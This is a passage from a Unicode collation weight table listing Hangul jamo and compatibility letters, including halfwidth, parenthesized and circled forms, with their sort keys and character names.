JUEUI +110D ; [.3A6B.0020.0002] # HANGUL CHOSEONG SSANGCIEUC +3149 ; [.3A6B.0020.0004] # HANGUL LETTER SSANGCIEUC +FFB9 ; [.3A6B.0020.0012] # HALFWIDTH HANGUL LETTER SSANGCIEUC +110E ; [.3A6C.0020.0002] # HANGUL CHOSEONG CHIEUCH +314A ; [.3A6C.0020.0004] # HANGUL LETTER CHIEUCH +3209 ; [*0310.0020.0004][.3A6C.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL CHIEUCH +3269 ; [.3A6C.0020.0006] # CIRCLED HANGUL CHIEUCH +FFBA ; [.3A6C.0020.0012] # HALFWIDTH HANGUL LETTER CHIEUCH +3217 ; [*0310.0020.0004][.3A6C.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL CHIEUCH A +3277 ; [.3A6C.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL CHIEUCH A +327C ; [.3A6C.0020.0006][.3ADC.0020.0006][.3B49.0020.0006][.3A5E.0020.0006][.3AE4.0020.0006] # CIRCLED KOREAN CHARACTER CHAMKO +110F ; [.3A6D.0020.0002] # HANGUL CHOSEONG KHIEUKH +314B ; [.3A6D.0020.0004] # HANGUL LETTER KHIEUKH +320A ; [*0310.0020.0004][.3A6D.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL KHIEUKH +326A ; [.3A6D.0020.0006] # CIRCLED HANGUL KHIEUKH +FFBB ; [.3A6D.0020.0012] # HALFWIDTH HANGUL LETTER KHIEUKH +3218 ; [*0310.0020.0004][.3A6D.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL KHIEUKH A +3278 ; [.3A6D.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL KHIEUKH A +1110 ; [.3A6E.0020.0002] # HANGUL CHOSEONG THIEUTH +314C ; [.3A6E.0020.0004] # HANGUL LETTER THIEUTH +320B ; [*0310.0020.0004][.3A6E.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL THIEUTH +326B ; [.3A6E.0020.0006] # CIRCLED HANGUL THIEUTH +FFBC ; [.3A6E.0020.0012] # HALFWIDTH HANGUL LETTER THIEUTH +3219 ; [*0310.0020.0004][.3A6E.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL THIEUTH A +3279 ; [.3A6E.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL THIEUTH A +1111 ; [.3A6F.0020.0002] # HANGUL CHOSEONG PHIEUPH +314D ; [.3A6F.0020.0004] # HANGUL LETTER PHIEUPH +320C ; [*0310.0020.0004][.3A6F.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL PHIEUPH +326C ; [.3A6F.0020.0006] # CIRCLED HANGUL PHIEUPH +FFBD ; [.3A6F.0020.0012] # HALFWIDTH HANGUL LETTER PHIEUPH +321A ; [*0310.0020.0004][.3A6F.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL PHIEUPH A +327A ; [.3A6F.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL PHIEUPH A +1112 ; [.3A70.0020.0002] # HANGUL CHOSEONG HIEUH +314E ; [.3A70.0020.0004] # HANGUL LETTER HIEUH +320D ; [*0310.0020.0004][.3A70.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL HIEUH +326D ; [.3A70.0020.0006] # CIRCLED HANGUL HIEUH +FFBE ; [.3A70.0020.0012] # HALFWIDTH HANGUL LETTER HIEUH +321B ; [*0310.0020.0004][.3A70.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL HIEUH A +327B ; [.3A70.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL HIEUH A +1113 ; [.3A71.0020.0002] # HANGUL CHOSEONG NIEUN-KIYEOK +1114 ; [.3A72.0020.0002] # HANGUL CHOSEONG SSANGNIEUN +3165 ; [.3A72.0020.0004] # HANGUL LETTER SSANGNIEUN +1115 ; [.3A73.0020.0002] # HANGUL CHOSEONG NIEUN-TIKEUT +3166 ; [.3A73.0020.0004] # HANGUL LETTER NIEUN-TIKEUT +1116 ; [.3A74.0020.0002] # HANGUL CHOSEONG NIEUN-PIEUP +1117 ; [.3A75.0020.0002] # HANGUL CHOSEONG TIKEUT-KIYEOK +1118 ; [.3A76.0020.0002] # HANGUL CHOSEONG RIEUL-NIEUN +1119 ; [.3A77.0020.0002] # HANGUL CHOSEONG SSANGRIEUL +111A ; [.3A78.0020.0002] # HANGUL CHOSEONG RIEUL-HIEUH +3140 ; [.3A78.0020.0004] # HANGUL LETTER RIEUL-HIEUH +FFB0 ; [.3A78.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-HIEUH +111B ; [.3A79.0020.0002] # HANGUL CHOSEONG KAPYEOUNRIEUL +111C ; [.3A7A.0020.0002] # HANGUL CHOSEONG MIEUM-PIEUP +316E ; [.3A7A.0020.0004] # HANGUL LETTER MIEUM-PIEUP +111D ; [.3A7B.0020.0002] # HANGUL CHOSEONG KAPYEOUNMIEUM +3171 ; [.3A7B.0020.0004] # HANGUL LETTER KAPYEOUNMIEUM +111E ; [.3A7C.0020.0002] # HANGUL CHOSEONG PIEUP-KIYEOK +3172 ; [.3A7C.0020.0004] # HANGUL LETTER PIEUP-KIYEOK +111F ; [.3A7D.0020.0002] # HANGUL CHOSEONG PIEUP-NIEUN +1120 ; [.3A7E.0020.0002] # HANGUL CHOSEONG PIEUP-TIKEUT +3173 ; [.3A7E.0020.0004] # HANGUL LETTER PIEUP-TIKEUT +1121 ; [.3A7F.0020.0002] # HANGUL CHOSEONG PIEUP-SIOS +3144 ; [.3A7F.0020.0004] # HANGUL LETTER PIEUP-SIOS +FFB4 ; [.3A7F.0020.0012] # HALFWIDTH HANGUL LETTER PIEUP-SIOS +1122 ; [.3A80.0020.0002] # HANGUL CHOSEONG PIEUP-SIOS-KIYEOK +3174 ; [.3A80.0020.0004] # HANGUL LETTER PIEUP-SIOS-KIYEOK +1123 ; [.3A81.0020.0002] # HANGUL CHOSEONG PIEUP-SIOS-TIKEUT +3175 ; [.3A81.0020.0004] # HANGUL LETTER PIEUP-SIOS-TIKEUT +1124 ; [.3A82.0020.0002] # HANGUL CHOSEONG PIEUP-SIOS-PIEUP +1125 ; [.3A83.0020.0002] # HANGUL CHOSEONG PIEUP-SSANGSIOS +1126 ; [.3A84.0020.0002] # HANGUL CHOSEONG PIEUP-SIOS-CIEUC +1127 ; [.3A85.0020.0002] # HANGUL CHOSEONG PIEUP-CIEUC +3176 ; [.3A85.0020.0004] # HANGUL LETTER PIEUP-CIEUC +1128 ; [.3A86.0020.0002] # HANGUL CHOSEONG PIEUP-CHIEUCH +1129 ; [.3A87.0020.0002] # HANGUL CHOSEONG PIEUP-THIEUTH +3177 ; [.3A87.0020.0004] # HANGUL LETTER PIEUP-THIEUTH +112A ; [.3A88.0020.0002] # HANGUL CHOSEONG PIEUP-PHIEUPH +112B ; [.3A89.0020.0002] # HANGUL CHOSEONG KAPYEOUNPIEUP +3178 ; [.3A89.0020.0004] # HANGUL LETTER KAPYEOUNPIEUP +112C ; [.3A8A.0020.0002] # HANGUL CHOSEONG KAPYEOUNSSANGPIEUP +3179 ; [.3A8A.0020.0004] # HANGUL LETTER KAPYEOUNSSANGPIEUP +112D ; [.3A8B.0020.0002] # HANGUL CHOSEONG SIOS-KIYEOK +317A ; [.3A8B.0020.0004] # HANGUL LETTER SIOS-KIYEOK +112E ; [.3A8C.0020.0002] # HANGUL CHOSEONG SIOS-NIEUN +317B ; [.3A8C.0020.0004] # HANGUL LETTER SIOS-NIEUN +112F ; [.3A8D.0020.0002] # HANGUL CHOSEONG SIOS-TIKEUT +317C ; [.3A8D.0020.0004] # HANGUL LETTER SIOS-TIKEUT +1130 ; [.3A8E.0020.0002] # HANGUL CHOSEONG SIOS-RIEUL +1131 ; [.3A8F.0020.0002] # HANGUL CHOSEONG SIOS-MIEUM +1132 ; [.3A90.0020.0002] # HANGUL CHOSEONG SIOS-PIEUP +317D ; [.3A90.0020.0004] # HANGUL LETTER SIOS-PIEUP +1133 ; [.3A91.0020.0002] # HANGUL CHOSEONG SIOS-PIEUP-KIYEOK +1134 ; [.3A92.0020.0002] # HANGUL CHOSEONG SIOS-SSANGSIOS +1135 ; [.3A93.0020.0002] # HANGUL CHOSEONG SIOS-IEUNG +1136 ; [.3A94.0020.0002] # HANGUL CHOSEONG SIOS-CIEUC +317E ; [.3A94.0020.0004] # HANGUL LETTER SIOS-CIEUC +1137 ; [.3A95.0020.0002] # HANGUL CHOSEONG SIOS-CHIEUCH +1138 ; [.3A96.0020.0002] # HANGUL CHOSEONG SIOS-KHIEUKH +1139 ; [.3A97.0020.0002] # HANGUL CHOSEONG SIOS-THIEUTH +113A ; [.3A98.0020.0002] # HANGUL CHOSEONG SIOS-PHIEUPH +113B ; [.3A99.0020.0002] # HANGUL CHOSEONG SIOS-HIEUH +113C ; [.3A9A.0020.0002] # HANGUL CHOSEONG CHITUEUMSIOS +113D ; [.3A9B.0020.0002] # HANGUL CHOSEONG CHITUEUMSSANGSIOS +113E ; [.3A9C.0020.0002] # HANGUL CHOSEONG CEONGCHIEUMSIOS +113F ; [.3A9D.0020.0002] # HANGUL CHOSEONG CEONGCHIEUMSSANGSIOS +1140 ; [.3A9E.0020.0002] # HANGUL CHOSEONG PANSIOS +317F ; [.3A9E.0020.0004] # HANGUL LETTER PANSIOS +1141 ; [.3A9F.0020.0002] # HANGUL CHOSEONG IEUNG-KIYEOK +1142 ; [.3AA0.0020.0002] # HANGUL CHOSEONG IEUNG-TIKEUT +1143 ; [.3AA1.0020.0002] # HANGUL CHOSEONG IEUNG-MIEUM +1144 ; [.3AA2.0020.0002] # HANGUL CHOSEONG IEUNG-PIEUP +1145 ; [.3AA3.0020.0002] # HANGUL CHOSEONG IEUNG-SIOS +1146 ; [.3AA4.0020.0002] # HANGUL CHOSEONG IEUNG-PANSIOS +1147 ; [.3AA5.0020.0002] # HANGUL CHOSEONG SSANGIEUNG +3180 ; [.3AA5.0020.0004] # HANGUL LETTER SSANGIEUNG +1148 ; [.3AA6.0020.0002] # HANGUL CHOSEONG IEUNG-CIEUC +1149 ; [.3AA7.0020.0002] # HANGUL CHOSEONG IEUNG-CHIEUCH +114A ; [.3AA8.0020.0002] # HANGUL CHOSEONG IEUNG-THIEUTH +114B ; [.3AA9.0020.0002] # HANGUL CHOSEONG IEUNG-PHIEUPH +114C ; [.3AAA.0020.0002] # HANGUL CHOSEONG YESIEUNG +3181 ; [.3AAA.0020.0004] # HANGUL LETTER YESIEUNG +114D ; [.3AAB.0020.0002] # HANGUL CHOSEONG CIEUC-IEUNG +114E ; [.3AAC.0020.0002] # HANGUL CHOSEONG CHITUEUMCIEUC +114F ; [.3AAD.0020.0002] # HANGUL CHOSEONG CHITUEUMSSANGCIEUC +1150 ; [.3AAE.0020.0002] # HANGUL CHOSEONG CEONGCHIEUMCIEUC +1151 ; [.3AAF.0020.0002] # HANGUL CHOSEONG CEONGCHIEUMSSANGCIEUC +1152 ; [.3AB0.0020.0002] # HANGUL CHOSEONG CHIEUCH-KHIEUKH +1153 ; [.3AB1.0020.0002] # HANGUL CHOSEONG CHIEUCH-HIEUH +1154 ; [.3AB2.0020.0002] # HANGUL CHOSEONG CHITUEUMCHIEUCH +1155 ; [.3AB3.0020.0002] # HANGUL CHOSEONG CEONGCHIEUMCHIEUCH +1156 ; [.3AB4.0020.0002] # HANGUL CHOSEONG PHIEUPH-PIEUP +1157 ; [.3AB5.0020.0002] # HANGUL CHOSEONG KAPYEOUNPHIEUPH +3184 ; [.3AB5.0020.0004] # HANGUL LETTER KAPYEOUNPHIEUPH +1158 ; [.3AB6.0020.0002] # HANGUL CHOSEONG SSANGHIEUH +3185 ; [.3AB6.0020.0004] # HANGUL LETTER SSANGHIEUH +1159 ; [.3AB7.0020.0002] # HANGUL CHOSEONG YEORINHIEUH +3186 ; [.3AB7.0020.0004] # HANGUL LETTER YEORINHIEUH +115A ; [.3AB8.0020.0002] # HANGUL CHOSEONG KIYEOK-TIKEUT +115B ; [.3AB9.0020.0002] # HANGUL CHOSEONG NIEUN-SIOS +115C ; [.3ABA.0020.0002] # HANGUL CHOSEONG NIEUN-CIEUC +115D ; [.3ABB.0020.0002] # HANGUL CHOSEONG NIEUN-HIEUH +115E ; [.3ABC.0020.0002] # HANGUL CHOSEONG TIKEUT-RIEUL +A960 ; [.3ABD.0020.0002] # HANGUL CHOSEONG TIKEUT-MIEUM +A961 ; [.3ABE.0020.0002] # HANGUL CHOSEONG TIKEUT-PIEUP +A962 ; [.3ABF.0020.0002] # HANGUL CHOSEONG TIKEUT-SIOS +A963 ; [.3AC0.0020.0002] # HANGUL CHOSEONG TIKEUT-CIEUC +A964 ; [.3AC1.0020.0002] # HANGUL CHOSEONG RIEUL-KIYEOK +A965 ; [.3AC2.0020.0002] # HANGUL CHOSEONG RIEUL-SSANGKIYEOK +A966 ; [.3AC3.0020.0002] # HANGUL CHOSEONG RIEUL-TIKEUT +A967 ; [.3AC4.0020.0002] # HANGUL CHOSEONG RIEUL-SSANGTIKEUT +A968 ; [.3AC5.0020.0002] # HANGUL CHOSEONG RIEUL-MIEUM +A969 ; [.3AC6.0020.0002] # HANGUL CHOSEONG RIEUL-PIEUP +A96A ; [.3AC7.0020.0002] # HANGUL CHOSEONG RIEUL-SSANGPIEUP +A96B ; [.3AC8.0020.0002] # HANGUL CHOSEONG RIEUL-KAPYEOUNPIEUP +A96C ; [.3AC9.0020.0002] # HANGUL CHOSEONG RIEUL-SIOS +A96D ; [.3ACA.0020.0002] # HANGUL CHOSEONG RIEUL-CIEUC +A96E ; [.3ACB.0020.0002] # HANGUL CHOSEONG RIEUL-KHIEUKH +A96F ; [.3ACC.0020.0002] # HANGUL CHOSEONG MIEUM-KIYEOK +A970 ; [.3ACD.0020.0002] # HANGUL CHOSEONG MIEUM-TIKEUT +A971 ; [.3ACE.0020.0002] # HANGUL CHOSEONG MIEUM-SIOS +A972 ; [.3ACF.0020.0002] # HANGUL CHOSEONG PIEUP-SIOS-THIEUTH +A973 ; [.3AD0.0020.0002] # HANGUL CHOSEONG PIEUP-KHIEUKH +A974 ; [.3AD1.0020.0002] # HANGUL CHOSEONG PIEUP-HIEUH +A975 ; [.3AD2.0020.0002] # HANGUL CHOSEONG SSANGSIOS-PIEUP +A976 ; [.3AD3.0020.0002] # HANGUL CHOSEONG IEUNG-RIEUL +A977 ; [.3AD4.0020.0002] # HANGUL CHOSEONG IEUNG-HIEUH +A978 ; [.3AD5.0020.0002] # HANGUL CHOSEONG SSANGCIEUC-HIEUH +A979 ; [.3AD6.0020.0002] # HANGUL CHOSEONG SSANGTHIEUTH +A97A ; [.3AD7.0020.0002] # HANGUL CHOSEONG PHIEUPH-HIEUH +A97B ; [.3AD8.0020.0002] # HANGUL CHOSEONG HIEUH-SIOS +A97C ; [.3AD9.0020.0002] # HANGUL CHOSEONG SSANGYEORINHIEUH +115F ; [.3ADA.0020.0002] # HANGUL CHOSEONG FILLER +1160 ; [.3ADB.0020.0002] # HANGUL JUNGSEONG FILLER +3164 ; [.3ADB.0020.0004] # HANGUL FILLER +FFA0 ; [.3ADB.0020.0012] # HALFWIDTH HANGUL FILLER +1161 ; [.3ADC.0020.0002] # HANGUL JUNGSEONG A +314F ; [.3ADC.0020.0004] # HANGUL LETTER A +FFC2 ; [.3ADC.0020.0012] # HALFWIDTH HANGUL LETTER A +1162 ; [.3ADD.0020.0002] # HANGUL JUNGSEONG AE +3150 ; [.3ADD.0020.0004] # HANGUL LETTER AE +FFC3 ; [.3ADD.0020.0012] # HALFWIDTH HANGUL LETTER AE +1163 ; [.3ADE.0020.0002] # HANGUL JUNGSEONG YA +3151 ; [.3ADE.0020.0004] # HANGUL LETTER YA +FFC4 ; [.3ADE.0020.0012] # HALFWIDTH HANGUL LETTER YA +1164 ; [.3ADF.0020.0002] # HANGUL JUNGSEONG YAE +3152 ; [.3ADF.0020.0004] # HANGUL LETTER YAE +FFC5 ; [.3ADF.0020.0012] # HALFWIDTH HANGUL LETTER YAE +1165 ; [.3AE0.0020.0002] # HANGUL JUNGSEONG EO +3153 ; [.3AE0.0020.0004] # HANGUL LETTER EO +FFC6 ; [.3AE0.0020.0012] # HALFWIDTH HANGUL LETTER EO +1166 ; [.3AE1.0020.0002] # HANGUL JUNGSEONG E +3154 ; [.3AE1.0020.0004] # HANGUL LETTER E +FFC7 ; [.3AE1.0020.0012] # HALFWIDTH HANGUL LETTER E +1167 ; [.3AE2.0020.0002] # HANGUL JUNGSEONG YEO +3155 ; [.3AE2.0020.0004] # HANGUL LETTER YEO +FFCA ; [.3AE2.0020.0012] # HALFWIDTH HANGUL LETTER YEO +1168 ; [.3AE3.0020.0002] # HANGUL JUNGSEONG YE +3156 ; [.3AE3.0020.0004] # HANGUL LETTER YE +FFCB ; [.3AE3.0020.0012] # HALFWIDTH HANGUL LETTER YE +1169 ; [.3AE4.0020.0002] # HANGUL JUNGSEONG O +3157 ; [.3AE4.0020.0004] # HANGUL LETTER O +FFCC ; [.3AE4.0020.0012] # HALFWIDTH HANGUL LETTER O +116A ; [.3AE5.0020.0002] # HANGUL JUNGSEONG WA +3158 ; [.3AE5.0020.0004] # HANGUL LETTER WA +FFCD ; [.3AE5.0020.0012] # HALFWIDTH HANGUL LETTER WA +116B ; [.3AE6.0020.0002] # HANGUL JUNGSEONG WAE +3159 ; [.3AE6.0020.0004] # HANGUL LETTER WAE +FFCE ; [.3AE6.0020.0012] # HALFWIDTH HANGUL LETTER WAE +116C ; [.3AE7.0020.0002] # HANGUL JUNGSEONG OE +315A ; [.3AE7.0020.0004] # HANGUL LETTER OE +FFCF ; [.3AE7.0020.0012] # HALFWIDTH HANGUL LETTER OE +116D ; [.3AE8.0020.0002] # HANGUL JUNGSEONG YO +315B ; [.3AE8.0020.0004] # HANGUL LETTER YO +FFD2 ; [.3AE8.0020.0012] # HALFWIDTH HANGUL LETTER YO +116E ; [.3AE9.0020.0002] # HANGUL JUNGSEONG U +315C ; [.3AE9.0020.0004] # HANGUL LETTER U +FFD3 ; [.3AE9.0020.0012] # HALFWIDTH HANGUL LETTER U +116F ; [.3AEA.0020.0002] # HANGUL JUNGSEONG WEO +315D ; [.3AEA.0020.0004] # HANGUL LETTER WEO +FFD4 ; [.3AEA.0020.0012] # HALFWIDTH HANGUL LETTER WEO +1170 ; [.3AEB.0020.0002] # HANGUL JUNGSEONG WE +315E ; [.3AEB.0020.0004] # HANGUL LETTER WE +FFD5 ; [.3AEB.0020.0012] # HALFWIDTH HANGUL LETTER WE +1171 ; [.3AEC.0020.0002] # HANGUL JUNGSEONG WI +315F ; [.3AEC.0020.0004] # HANGUL LETTER WI +FFD6 ; [.3AEC.0020.0012] # HALFWIDTH HANGUL LETTER WI +1172 ; [.3AED.0020.0002] # HANGUL JUNGSEONG YU +3160 ; [.3AED.0020.0004] # HANGUL LETTER YU +FFD7 ; [.3AED.0020.0012] # HALFWIDTH HANGUL LETTER YU +1173 ; [.3AEE.0020.0002] # HANGUL JUNGSEONG EU +3161 ; [.3AEE.0020.0004] # HANGUL LETTER EU +FFDA ; [.3AEE.0020.0012] # HALFWIDTH HANGUL LETTER EU +1174 ; [.3AEF.0020.0002] # HANGUL JUNGSEONG YI +3162 ; [.3AEF.0020.0004] # HANGUL LETTER YI +FFDB ; [.3AEF.0020.0012] # HALFWIDTH HANGUL LETTER YI +1175 ; [.3AF0.0020.0002] # HANGUL JUNGSEONG I +3163 ; [.3AF0.0020.0004] # HANGUL LETTER I +FFDC ; [.3AF0.0020.0012] # HALFWIDTH HANGUL LETTER I +1176 ; [.3AF1.0020.0002] # HANGUL JUNGSEONG A-O +1177 ; [.3AF2.0020.0002] # HANGUL JUNGSEONG A-U +1178 ; [.3AF3.0020.0002] # HANGUL JUNGSEONG YA-O +1179 ; [.3AF4.0020.0002] # HANGUL JUNGSEONG YA-YO +117A ; [.3AF5.0020.0002] # HANGUL JUNGSEONG EO-O +117B ; [.3AF6.0020.0002] # HANGUL JUNGSEONG EO-U +117C ; [.3AF7.0020.0002] # HANGUL JUNGSEONG EO-EU +117D ; [.3AF8.0020.0002] # HANGUL JUNGSEONG YEO-O +117E ; [.3AF9.0020.0002] # HANGUL JUNGSEONG YEO-U +117F ; [.3AFA.0020.0002] # HANGUL JUNGSEONG O-EO +1180 ; [.3AFB.0020.0002] # HANGUL JUNGSEONG O-E +1181 ; [.3AFC.0020.0002] # HANGUL JUNGSEONG O-YE +1182 ; [.3AFD.0020.0002] # HANGUL JUNGSEONG O-O +1183 ; [.3AFE.0020.0002] # HANGUL JUNGSEONG O-U +1184 ; [.3AFF.0020.0002] # HANGUL JUNGSEONG YO-YA +3187 ; [.3AFF.0020.0004] # HANGUL LETTER YO-YA +1185 ; [.3B00.0020.0002] # HANGUL JUNGSEONG YO-YAE +3188 ; [.3B00.0020.0004] # HANGUL LETTER YO-YAE +1186 ; [.3B01.0020.0002] # HANGUL JUNGSEONG YO-YEO +1187 ; [.3B02.0020.0002] # HANGUL JUNGSEONG YO-O +1188 ; [.3B03.0020.0002] # HANGUL JUNGSEONG YO-I +3189 ; [.3B03.0020.0004] # HANGUL LETTER YO-I +1189 ; [.3B04.0020.0002] # HANGUL JUNGSEONG U-A +118A ; [.3B05.0020.0002] # HANGUL JUNGSEONG U-AE +118B ; [.3B06.0020.0002] # HANGUL JUNGSEONG U-EO-EU +118C ; [.3B07.0020.0002] # HANGUL JUNGSEONG U-YE +118D ; [.3B08.0020.0002] # HANGUL JUNGSEONG U-U +118E ; [.3B09.0020.0002] # HANGUL JUNGSEONG YU-A +118F ; [.3B0A.0020.0002] # HANGUL JUNGSEONG YU-EO +1190 ; [.3B0B.0020.0002] # HANGUL JUNGSEONG YU-E +1191 ; [.3B0C.0020.0002] # HANGUL JUNGSEONG YU-YEO +318A ; [.3B0C.0020.0004] # HANGUL LETTER YU-YEO +1192 ; [.3B0D.0020.0002] # HANGUL JUNGSEONG YU-YE +318B ; [.3B0D.0020.0004] # HANGUL LETTER YU-YE +1193 ; [.3B0E.0020.0002] # HANGUL JUNGSEONG YU-U +1194 ; [.3B0F.0020.0002] # HANGUL JUNGSEONG YU-I +318C ; [.3B0F.0020.0004] # HANGUL LETTER YU-I +1195 ; [.3B10.0020.0002] # HANGUL JUNGSEONG EU-U +1196 ; [.3B11.0020.0002] # HANGUL JUNGSEONG EU-EU +1197 ; [.3B12.0020.0002] # HANGUL JUNGSEONG YI-U +1198 ; [.3B13.0020.0002] # HANGUL JUNGSEONG I-A +1199 ; [.3B14.0020.0002] # HANGUL JUNGSEONG I-YA +119A ; [.3B15.0020.0002] # HANGUL JUNGSEONG I-O +119B ; [.3B16.0020.0002] # HANGUL JUNGSEONG I-U +119C ; [.3B17.0020.0002] # HANGUL JUNGSEONG I-EU +119D ; [.3B18.0020.0002] # HANGUL JUNGSEONG I-ARAEA +119E ; [.3B19.0020.0002] # HANGUL JUNGSEONG ARAEA +318D ; [.3B19.0020.0004] # HANGUL LETTER ARAEA +119F ; [.3B1A.0020.0002] # HANGUL JUNGSEONG ARAEA-EO +11A0 ; [.3B1B.0020.0002] # HANGUL JUNGSEONG ARAEA-U +11A1 ; [.3B1C.0020.0002] # HANGUL JUNGSEONG ARAEA-I +318E ; [.3B1C.0020.0004] # HANGUL LETTER ARAEAE +11A2 ; [.3B1D.0020.0002] # HANGUL JUNGSEONG SSANGARAEA +11A3 ; [.3B1E.0020.0002] # HANGUL JUNGSEONG A-EU +11A4 ; [.3B1F.0020.0002] # HANGUL JUNGSEONG YA-U +11A5 ; [.3B20.0020.0002] # HANGUL JUNGSEONG YEO-YA +11A6 ; [.3B21.0020.0002] # HANGUL JUNGSEONG O-YA +11A7 ; [.3B22.0020.0002] # HANGUL JUNGSEONG O-YAE +D7B0 ; [.3B23.0020.0002] # HANGUL JUNGSEONG O-YEO +D7B1 ; [.3B24.0020.0002] # HANGUL JUNGSEONG O-O-I +D7B2 ; [.3B25.0020.0002] # HANGUL JUNGSEONG YO-A +D7B3 ; [.3B26.0020.0002] # HANGUL JUNGSEONG YO-AE +D7B4 ; [.3B27.0020.0002] # HANGUL JUNGSEONG YO-EO +D7B5 ; [.3B28.0020.0002] # HANGUL JUNGSEONG U-YEO +D7B6 ; [.3B29.0020.0002] # HANGUL JUNGSEONG U-I-I +D7B7 ; [.3B2A.0020.0002] # HANGUL JUNGSEONG YU-AE +D7B8 ; [.3B2B.0020.0002] # HANGUL JUNGSEONG YU-O +D7B9 ; [.3B2C.0020.0002] # HANGUL JUNGSEONG EU-A +D7BA ; [.3B2D.0020.0002] # HANGUL JUNGSEONG EU-EO +D7BB ; [.3B2E.0020.0002] # HANGUL JUNGSEONG EU-E +D7BC ; [.3B2F.0020.0002] # HANGUL JUNGSEONG EU-O +D7BD ; [.3B30.0020.0002] # HANGUL JUNGSEONG I-YA-O +D7BE ; [.3B31.0020.0002] # HANGUL JUNGSEONG I-YAE +D7BF ; [.3B32.0020.0002] # HANGUL JUNGSEONG I-YEO +D7C0 ; [.3B33.0020.0002] # HANGUL JUNGSEONG I-YE +D7C1 ; [.3B34.0020.0002] # HANGUL JUNGSEONG I-O-I +D7C2 ; [.3B35.0020.0002] # HANGUL JUNGSEONG I-YO +D7C3 ; [.3B36.0020.0002] # HANGUL JUNGSEONG I-YU +D7C4 ; [.3B37.0020.0002] # HANGUL JUNGSEONG I-I +D7C5 ; [.3B38.0020.0002] # HANGUL JUNGSEONG ARAEA-A +D7C6 ; [.3B39.0020.0002] # HANGUL JUNGSEONG ARAEA-E +11A8 ; [.3B3A.0020.0002] # HANGUL JONGSEONG KIYEOK +11A9 ; [.3B3B.0020.0002] # HANGUL JONGSEONG SSANGKIYEOK +11AA ; [.3B3C.0020.0002] # HANGUL JONGSEONG KIYEOK-SIOS +3133 ; [.3B3C.0020.0004] # HANGUL LETTER KIYEOK-SIOS +FFA3 ; [.3B3C.0020.0012] # HALFWIDTH HANGUL LETTER KIYEOK-SIOS +11AB ; [.3B3D.0020.0002] # HANGUL JONGSEONG NIEUN +11AC ; [.3B3E.0020.0002] # HANGUL JONGSEONG NIEUN-CIEUC +3135 ; [.3B3E.0020.0004] # HANGUL LETTER NIEUN-CIEUC +FFA5 ; [.3B3E.0020.0012] # HALFWIDTH HANGUL LETTER NIEUN-CIEUC +11AD ; [.3B3F.0020.0002] # HANGUL JONGSEONG NIEUN-HIEUH +3136 ; [.3B3F.0020.0004] # HANGUL LETTER NIEUN-HIEUH +FFA6 ; [.3B3F.0020.0012] # HALFWIDTH HANGUL LETTER NIEUN-HIEUH +11AE ; [.3B40.0020.0002] # HANGUL JONGSEONG TIKEUT +11AF ; [.3B41.0020.0002] # HANGUL JONGSEONG RIEUL +11B0 ; [.3B42.0020.0002] # HANGUL JONGSEONG RIEUL-KIYEOK +313A ; [.3B42.0020.0004] # HANGUL LETTER RIEUL-KIYEOK +FFAA ; [.3B42.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-KIYEOK +11B1 ; [.3B43.0020.0002] # HANGUL JONGSEONG RIEUL-MIEUM +313B ; [.3B43.0020.0004] # HANGUL LETTER RIEUL-MIEUM +FFAB ; [.3B43.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-MIEUM +11B2 ; [.3B44.0020.0002] # HANGUL JONGSEONG RIEUL-PIEUP +313C ; [.3B44.0020.0004] # HANGUL LETTER RIEUL-PIEUP +FFAC ; [.3B44.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-PIEUP +11B3 ; [.3B45.0020.0002] # HANGUL JONGSEONG RIEUL-SIOS +313D ; [.3B45.0020.0004] # HANGUL LETTER RIEUL-SIOS +FFAD ; [.3B45.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-SIOS +11B4 ; [.3B46.0020.0002] # HANGUL JONGSEONG RIEUL-THIEUTH +313E ; [.3B46.0020.0004] # HANGUL LETTER RIEUL-THIEUTH +FFAE ; [.3B46.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-THIEUTH +11B5 ; [.3B47.0020.0002] # HANGUL JONGSEONG RIEUL-PHIEUPH +313F ; [.3B47.0020.0004] # HANGUL LETTER RIEUL-PHIEUPH +FFAF ; [.3B47.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-PHIEUPH +11B6 ; [.3B48.0020.0002] # HANGUL JONGSEONG RIEUL-HIEUH +11B7 ; [.3B49.0020.0002] # HANGUL JONGSEONG MIEUM +11B8 ; [.3B4A.0020.0002] # HANGUL JONGSEONG PIEUP +11B9 ; [.3B4B.0020.0002] # HANGUL JONGSEONG PIEUP-SIOS +11BA ; [.3B4C.0020.0002] # HANGUL JONGSEONG SIOS +11BB ; [.3B4D.0020.0002] # HANGUL JONGSEONG SSANGSIOS +11BC ; [.3B4E.0020.0002] # HANGUL JONGSEONG IEUNG +11BD ; [.3B4F.0020.0002] # HANGUL JONGSEONG CIEUC +11BE ; [.3B50.0020.0002] # HANGUL JONGSEONG CHIEUCH +11BF ; [.3B51.0020.0002] # HANGUL JONGSEONG KHIEUKH +11C0 ; [.3B52.0020.0002] # HANGUL JONGSEONG THIEUTH +11C1 ; [.3B53.0020.0002] # HANGUL JONGSEONG PHIEUPH +11C2 ; [.3B54.0020.0002] # HANGUL JONGSEONG HIEUH +11C3 ; [.3B55.0020.0002] # HANGUL JONGSEONG KIYEOK-RIEUL +11C4 ; [.3B56.0020.0002] # HANGUL JONGSEONG KIYEOK-SIOS-KIYEOK +11C5 ; [.3B57.0020.0002] # HANGUL JONGSEONG NIEUN-KIYEOK +11C6 ; [.3B58.0020.0002] # HANGUL JONGSEONG NIEUN-TIKEUT 